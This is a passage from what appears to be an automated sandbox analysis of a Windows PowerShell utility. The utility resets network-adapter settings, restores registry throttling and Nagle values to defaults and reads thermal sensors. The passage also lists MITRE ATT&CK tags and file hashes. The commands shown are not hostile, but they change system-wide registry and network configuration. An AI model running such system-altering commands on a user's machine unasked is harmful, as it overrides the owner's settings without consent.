$t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\New-ItemProperty @PSBoundParameters } function Set-ItemProperty { [CmdletBinding()] param( [Parameter(Position=0)][string[]]$Path, [string[]]$LiteralPath, [Parameter(Position=1)][string]$Name, [Parameter(Position=2)]$Value, [string]$Type, [switch]$Force, [Parameter(ValueFromRemainingArguments=$true)]$Rest ) try { $t = if ($LiteralPath) { $LiteralPath } else { $Path } foreach ($one in $t) { RB-JournalP $RBModule $one $Name } } catch { } $null = $PSBoundParameters.Remove('Rest') Microsoft.PowerShell.Management\Set-ItemProperty @PSBoundParameters } foreach ($a in (Get-NetAdapter -Physical -ErrorAction SilentlyContinue)) { try { Reset-NetAdapterAdvancedProperty -Name $a.Name -DisplayName '*' -ErrorAction Stop; S 'ok' \"$($a.Name): advanced settings reset to default\" } catch {} } $prof='HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile' Set-ItemProperty $prof -Name 'NetworkThrottlingIndex' -Value 10 -Type DWord -Force Set-ItemProperty $prof -Name 'SystemResponsiveness' -Value 20 -Type DWord -Force S 'ok' 'Network throttling / responsiveness back to Windows defaults' $ifaces='HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces' Get-ChildItem $ifaces -ErrorAction SilentlyContinue | ForEach-Object { Remove-ItemProperty $_.PSPath -Name 'TcpAckFrequency' -ErrorAction SilentlyContinue; Remove-ItemProperty $_.PSPath -Name 'TCPNoDelay' -ErrorAction SilentlyContinue } S 'ok' 'Nagle overrides removed' & netsh int tcp set global autotuninglevel=normal 2>&1 | Out-Null S 'ok' 'NIC reverted to Windows defaults.'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Hide Artifacts: Ignore Process Interrupts
  PID:464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -NoProfile -NonInteractive -Command "try{[Console]::OutputEncoding=[System.Text.Encoding]::UTF8}catch{};$b=-1.0; $zs=Get-CimInstance -Namespace root/wmi -ClassName MSAcpi_ThermalZoneTemperature -ErrorAction SilentlyContinue; foreach($z in $zs){ $c=[math]::Round($z.CurrentTemperature/10-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} }; if($b -lt 0){ $ps=Get-CimInstance -ClassName Win32_PerfFormattedData_Counters_ThermalZoneInformation -ErrorAction SilentlyContinue; foreach($z in $ps){ $c=[math]::Round($z.Temperature-273.15,1); if($c -ge 20 -and $c -le 105 -and $c -gt $b){$b=$c} } }; $b"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4856

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:4900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s SysMain
1⤵
PID:2836

C:\Windows\system32\SearchIndexer.exe
C:\Windows\system32\SearchIndexer.exe /Embedding
1⤵
PID:6584
- C:\Windows\System32\SearchProtocolHost.exe
  "C:\Windows\System32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
  2⤵
  PID:2472

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k utcsvc -p
1⤵
PID:2168

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
PID:2528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Power Settings

T1653

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 376018e6acff14b5a76b2d14c837ab6ab5eaa0fdb0e2ff1b0a1f0743848bc372
MD5 a9844034d2468072e216ac643a44678a
SHA1 195da9249eeb27cbdb78df3696b61853dcacd99d
SHA512 fe7a4898898ad0444b6b2a6d10115cace3b01ee4dd3de257066a54d89502fd896ad79c4052ab0f04a363eb176f8efbfb967f41c255255c8f64fdeaf86b1c63ca
SSDEEP 1536:1KLg07Yo2hkovpfKQVAflJdpHYWh4iUxpR40i71YigMQyPTOdBcV3CNBQkj2Va5o:1KLg07Yo2hkovpfKQVAflJd9YWqiUpRe
TLSH
T1EC636292E9204E75E1A66F3EF15622627C30394690F8153211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 4515da1e7be6ecafc559d4c6661fe8e81fd671f2f88dd809c983b1ff09006221
MD5 5e2c1b8dc3a6dc4f55266fd939263f6b
SHA1 d8722f9e5bf34c8a4bb7dcc8cd82caa0f93c8749
SHA512 75ef64185e2d711b943a60a25db55efb3eeb186f5682662f0aa117b4574057b27ff63a4f299cd3bbb38de3fc5d4e7480fff6ed81f6a570821e4c699a9d990e79
SSDEEP 1536:/KLg0xCw2hkovpfKQVAflJdpHYWh4iUx9R40i71Yi+MQyPRWrxlibjoRjdvRwa5E:/KLg0xCw2hkovpfKQVAflJd9YWqiU9Rs
TLSH
T146636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download